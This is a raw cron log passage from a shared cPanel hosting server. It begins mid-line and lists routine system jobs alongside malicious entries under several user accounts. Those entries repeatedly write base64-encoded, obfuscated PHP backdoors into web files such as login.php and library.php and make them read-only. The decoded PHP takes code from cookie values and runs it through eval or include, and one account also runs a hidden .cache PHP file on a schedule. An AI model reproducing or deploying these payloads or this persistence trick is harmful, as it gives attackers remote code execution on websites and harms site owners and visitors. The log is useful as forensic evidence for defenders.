SAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:03:01 medusa CROND[3747]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:03:01 medusa CROND[3751]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 06:03:01 medusa CROND[3752]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:03:01 medusa CROND[3753]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:03:01 medusa CROND[3754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:03:01 medusa CROND[3755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:03:01 medusa CROND[3759]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:04:01 medusa CROND[28137]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:04:01 medusa CROND[28206]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:04:01 medusa CROND[28207]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 06:04:01 medusa CROND[28208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:04:01 medusa CROND[28209]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:04:01 medusa CROND[28212]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:04:01 medusa CROND[28214]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:04:01 medusa CROND[28215]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:04:01 medusa CROND[28217]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:04:01 medusa CROND[28219]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:04:01 medusa CROND[28220]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:04:01 medusa CROND[28213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:04:01 medusa CROND[28221]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:05:01 medusa CROND[20125]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 06:05:01 medusa CROND[20133]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 06:05:01 medusa CROND[20228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:05:01 medusa CROND[20250]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 06:05:01 medusa CROND[20251]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:05:01 medusa CROND[20252]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:05:01 medusa CROND[20253]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 06:05:01 medusa CROND[20256]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:05:01 medusa CROND[20257]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 06:05:01 medusa CROND[20258]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 06:05:01 medusa CROND[20254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:05:01 medusa CROND[20262]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:05:01 medusa CROND[20263]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:05:01 medusa CROND[20261]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:05:01 medusa CROND[20268]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:05:01 medusa CROND[20260]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 06:05:01 medusa CROND[20265]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 06:05:01 medusa CROND[20276]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 06:05:01 medusa CROND[20267]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
